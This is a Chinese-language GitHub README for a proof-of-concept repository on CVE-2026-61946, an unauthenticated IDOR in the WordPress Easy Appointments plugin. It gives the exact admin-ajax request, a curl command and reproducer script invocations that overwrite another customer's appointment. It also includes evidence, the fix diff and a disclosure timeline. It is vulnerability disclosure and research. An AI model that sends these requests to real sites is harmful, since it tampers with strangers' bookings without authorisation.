Rat5ak/CVE-2026-61946-Easy-Appointments-IDOR

GitHub: Rat5ak/CVE-2026-61946-Easy-Appointments-IDOR

这是一个针对 WordPress Easy Appointments 插件未经身份验证 IDOR 漏洞(CVE-2026-61946)的概念验证复现工具与详细分析文档。

Stars: 0 | Forks: 0

# CVE-2026-61946:通过一个预约 ID 篡改他人的预约 我在 WordPress 的 Easy Appointments 插件中发现了一个未经身份验证的不安全直接对象引用(IDOR)漏洞。该公开的预约接口会接收来自查询字符串的 `id`,并将生成的数据传递到插件的数据库 `replace()` 路径中。 这意味着一个新的公开预约请求可以变成对现有预约记录的更新。整个过程不需要登录、Cookie 或 WordPress 账号。只需提供另一个预约的主键,选择一个真实的空闲时段,插件就会用攻击者控制的客户和预约数据覆盖原有的预约信息。 | | | |---|---| | CVE | CVE-2026-61946 | | 插件 | Easy Appointments | | Slug | `easy-appointments` | | 受影响版本 | `<= 3.12.27` | | 已修复版本 | `3.12.28` | | 漏洞类型 | 未经身份验证的 IDOR / 用户可控主键 (CWE-639) | | 影响 | 任意覆盖现有预约 | | CVSS | 6.5 中危 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`) | | 发现者 | Daniel Wade | | Patchstack PSID | `4f9c506f9f90` | ## 太长不看 该公开接口接收如下格式的请求: ``` GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1 Host: target.example ``` 这里的 `id=2` 并没有被当作不受信任的对象标识。在受影响的版本中,它绕过了输入过滤并到达了数据库替换路径。如果 ID 为 2 的记录已经属于其他客户,公开请求就会更新该记录,而不是创建一条新记录。 ``` Before: id=2 | Jane Victim | jane@victim.com | confirmed | $50.00 After: id=2 | ATTACKER | evil@hack.com | reservation | $50.00 ``` ## 漏洞详情 Easy Appointments 将预约处理程序暴露给了未经身份验证的访问者: ``` add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment')); add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment')); ``` 对于公开的预约表单来说,这是符合预期的。但其授权漏洞在于,该公开处理程序信任了调用方提供的对象主键。 存在漏洞的流程如下: ``` unauthenticated GET -> action=ea_res_appointment -> $_GET['id'] -> allowed through the reservation field list -> models->replace('ea_appointments', $data, true) -> existing appointment row selected by primary key -> victim booking overwritten ``` Nonce 和 CAPTCHA 检查并不能证明对所提供预约 ID 的所有权。在我测试的配置中,它们默认也是关闭的,因此该请求完全不需要任何会话状态。 该接口确实执行了可用性检查。但这并不能解决对象授权问题;它仅仅意味着攻击者必须选择一个有效的公开位置、服务、服务人员、日期以及当前开放的时段。 ## 触发漏洞 你需要: ``` 1. A disposable WordPress lab running Easy Appointments <= 3.12.27 2. The ID of a lab appointment you created for testing 3. Valid location, service, and worker IDs from the public form 4. A time slot that is currently open ``` 然后带上两个安全开关运行任意一个 PoC。如果不加 `--execute` / `-Execute`,脚本只会打印出将要发送的请求。 PowerShell: ``` .\poc\reproduce.ps1 ` -Target "http://127.0.0.1" ` -AppointmentId 2 ` -Location 1 ` -Service 1 ` -Worker 1 ` -Date "2026-04-09" ` -Start "15:00" ` -AuthorizedLab ` -Execute ``` Bash: ``` ./poc/reproduce.sh \ --target "http://127.0.0.1" \ --id 2 \ --location 1 \ --service 1 \ --worker 1 \ --date "2026-04-09" \ --start "15:00" \ --authorized-lab \ --execute ``` 手动 curl: ``` curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \ --data-urlencode "action=ea_res_appointment" \ --data-urlencode "id=2" \ --data-urlencode "location=1" \ --data-urlencode "service=1" \ --data-urlencode "worker=1" \ --data-urlencode "date=2026-04-09" \ --data-urlencode "start=15:00" \ --data-urlencode "name=ATTACKER" \ --data-urlencode "email=evil@hack.com" \ --data-urlencode "phone=666" \ --data-urlencode "description=PWNED" ``` 此过程不涉及任何身份验证标头或 Cookie。 ## 漏洞证据 我在以下环境复现了该问题: ``` WordPress 6.9.4 Easy Appointments 3.12.23.1 Unauthenticated request No cookies Nonce disabled CAPTCHA disabled ``` 测试使用了一个属于实验室受害者账户的现有预约记录: ``` id=2 name=Jane Victim email=jane@victim.com status=confirmed price=$50.00 ``` 在发送公开预约请求后,同一个主键包含的数据变为: ``` id=2 name=ATTACKER email=evil@hack.com status=reservation price=$50.00 ``` 主键和价格保持不变,这使得更新行为非常明显:这并不是刚好与第一条记录相似的第二条预约,而是原有的记录被直接替换了。 修改前后的证明副本位于 [`evidence/sample-before-after.txt`](evidence/sample-before-after.txt)。 ## 影响 知道或猜中预约 ID 的未经身份验证的攻击者可以篡改该预约的客户和日程数据。根据网站的业务流程,这可能包括更改: ``` customer name and email phone number appointment description location, service, and assigned worker date and start time reservation status generated by the public flow ``` 实际结果是隐秘的预约篡改:合法的预约可能会被重定向、替换、恶意破坏,或者在业务运作中失效。公开表单暴露了构造此请求所需的合法日程数据值。 官方评分为 6.5 中危: ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L ``` ## 修复方案 版本 `3.12.28` 中涉及安全性的更改非常直接: ``` foreach ($data as $key => $rem) { if (!in_array($key, $dont_remove)) unset($data[$key]); } + +unset($data['id']); +$data['id'] = null; unset($data['action']); ``` 公开的预约流程不再允许选择数据库对象的主键。该请求被强制转入新记录路径,而不再被允许替换任意现有的预约。 同一个安全提交也修正了 nonce 的选项逻辑。这是很好的纵深防御措施,但仅靠 nonce 验证并不能对攻击者提供的预约 ID 进行归属权检查。移除客户端可控的键才是直接修复 IDOR 的方法。 提取的补丁位于 [`patch/fix.diff`](patch/fix.diff)。 ## 仓库结构 ``` poc/ reproduce.ps1 # PowerShell lab reproducer reproduce.sh # Bash/curl lab reproducer evidence/ sample-before-after.txt # Sanitised proof of row replacement patch/ fix.diff # Security-relevant upstream diff README.md ``` ## 时间线 | 日期 | 事件 | |---|---| | 2026-04-03 | 报告给 Patchstack | | 2026-07-07 | 补丁验证完成 | | 2026-07-16 | Patchstack 发布了漏洞条目 | | 2026-07-23 | CVE-2026-61946 发布 | ## 相关资源 * Patchstack 公告:https://patchstack.com/database/wordpress/plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-27-insecure-direct-object-references-idor-vulnerability * CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-61946 * NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-61946 * WordPress 插件:https://wordpress.org/plugins/easy-appointments/ * 上游源码:https://github.com/ahmedkaludi/easy-appointments * 安全修复提交:https://github.com/ahmedkaludi/easy-appointments/commit/f3464999ba3723046bd6e13d032122c196dd9768 * 受影响标签:https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.27/ * 已修复标签:https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.28/ *CVE-2026-61946 - 已在 Easy Appointments 3.12.28 中修复。受影响版本:3.12.27 及更早版本。* *Daniel Wade - [GitHub](https://github.com/Rat5ak) - [Twitter/X](https://x.com/Nadsec11) - [Bluesky](https://bsky.app/profile/nadsec.online) - [Mastodon](https://cyberplace.social/@Nadsec) - [Medium](https://medium.com/@Nadsec) - [nadsec.online](https://nadsec.online)*
标签:AI合规, CISA项目, IDOR漏洞, Web安全, WordPress插件, 应用安全, 文件完整性监控, 漏洞披露, 蓝队分析